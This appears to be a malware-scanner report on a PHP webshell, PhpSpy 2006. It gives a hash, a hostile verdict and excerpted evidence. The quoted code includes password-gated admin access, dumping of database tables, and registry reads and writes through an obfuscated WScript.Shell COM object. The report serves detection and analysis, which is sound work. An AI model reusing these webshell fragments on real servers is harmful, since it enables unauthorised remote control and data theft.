Hostile 100% php Download

Trojan-Spy.PHP.PhPen.d

PHP webshell with command execution

PHP command webshell includes an authentication panelPHP request directly executes a shell command
SHA-256049f1c91f0d2937e20f3c6b6d3b86ba6eafc0fa7c7752115b6f021ca2e303d6a

Evidence

Sets HTTP cookie via setcookie() lines 39–86
⋯5 lines
44
45
46/*===================== ������֤ =====================*/
47if($admin['check'] == "1") {
48 if ($_GET['action'] == "logout") {
49 setcookie ("adminpass", "");
50 echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
51 echo "<span style=\"font-size: 12px; font-family: Verdana\">ע���ɹ�......<p><a href=\"".$self."\">�������Զ��˳��򵥻������˳�������� &gt;&gt;&gt;</a></span>";
52 exit;
53 }
54
55 if ($_POST['do'] == 'login') {
56 $thepass=trim($_POST['adminpass']);
57 if ($admin['pass'] == $thepass) {
⋯5 lines
63 }
64 if (isset($_COOKIE['adminpass'])) {
65 if ($_COOKIE['adminpass'] != $admin['pass']) {
66 loginpage();
67 }
⋯6 lines
74// �ж� magic_quotes_gpc ״̬
75if (get_magic_quotes_gpc()) {
76 $_GET = stripslashes_array($_GET);
77 $_POST = stripslashes_array($_POST);
78}
79
⋯7 lines
PHP readfile download response lines 112–145
112:78… ;
113 @mysql_select_db($dbname) or die("ѡ�����ݿ�ʧ��");
114 $table = array_flip($_POST['table']);
115 $result = mysql_query("SHOW tables");
116 echo ($result) ? NULL : "����: ".mysql_error();
117
118 $filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
119 header('Content-type: application/unknown');
120 header('Content-Disposition: attachment; filename='.$filename);
121 $mysqldata = '';
122 while ($currow = mysql_fetch_array($result)) {
123 if (isset($table[$currow[0]])) {
124 $mysqldata.= sqldumptable($currow[0]);
125 $mysqldata.= $mysqldata."\r\n";
126 }
127 }
128 mysql_close();
129 exit;
130}
131
132// ����Ŀ¼
133$pathname=str_replace('\\','/',dirname(__FILE__));
134
135// ��ȡ��ǰ·��
136if (!isset($dir) or empty($dir)) {
137 $dir = ".";
138 $nowpath = getPath($pathname, $dir);
⋯7 lines
PHP Webshells Github Archive - file PhpSpy Ver 2006.php lines 419–432
⋯4 lines
423elseif(($regread) AND !empty($_POST['readregname'])) {
424 $shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
425 var_dump(@$shell->RegRead($_POST['readregname']));
426}
427
428// д��ע���
429elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
430 $shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
431 $a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
432 echo ($a=='0') ? "д��ע�����ֵ�ɹ�!" : "д�� ".$_POST['regname'].", ".$_POST['regva …
HTML form declares the POST method lines 524–529
524:16… ";
525 $file_i++;
526 }
527}// while
528@closedir($dirs);
529$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','chec …
$_POST reaches exec/system/shell_exec lines 677–690
677:52…
678 $tb->tdbody('<br><ul><li>�ñ����ܽ�ʵ�ּ���� HTTP ����,������ʾʹ�����·������Ƭ�����Ӽ�CSS��ʽ��.</li><li>�ñ����ܿ���ͨ������������������URL,����֧�� SQL Injection �����Լ�ijЩ�����ַ�.</li><li>�ñ���������� URL,��Ŀ�����������µ�IP��¼�� : '.$_SERVER['REMOTE_ADDR'].'</li></ul>','left');
679 $tb->tdbody('URL: '.$tb->makeinput('url','http://www.4ngel.net','','text','100').' '.$tb->makeinput('','���','','submit'),'center','1','40');
680 $tb->tdbody('<iframe name="proxyframe" frameborder="0" width="765" height="400" marginheight="0" marginwidth="0" scrolling="auto" src="http://www.4ngel.net"></iframe>');
681 echo "</form>";
682 $tb->tablefooter();
683}//end proxy
684
685elseif ($_GET['action'] == "sql") {
686 $action = '?action=sql';
687 $servername = isset($_POST['servername']) ? $_POST['servername'] : 'localhost';
688 $dbusername = isset($_POST['dbusername']) ? $_POST['dbusername'] : 'root';
689 $dbpassword = $_POST['dbpassword'];
690 $dbname = …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.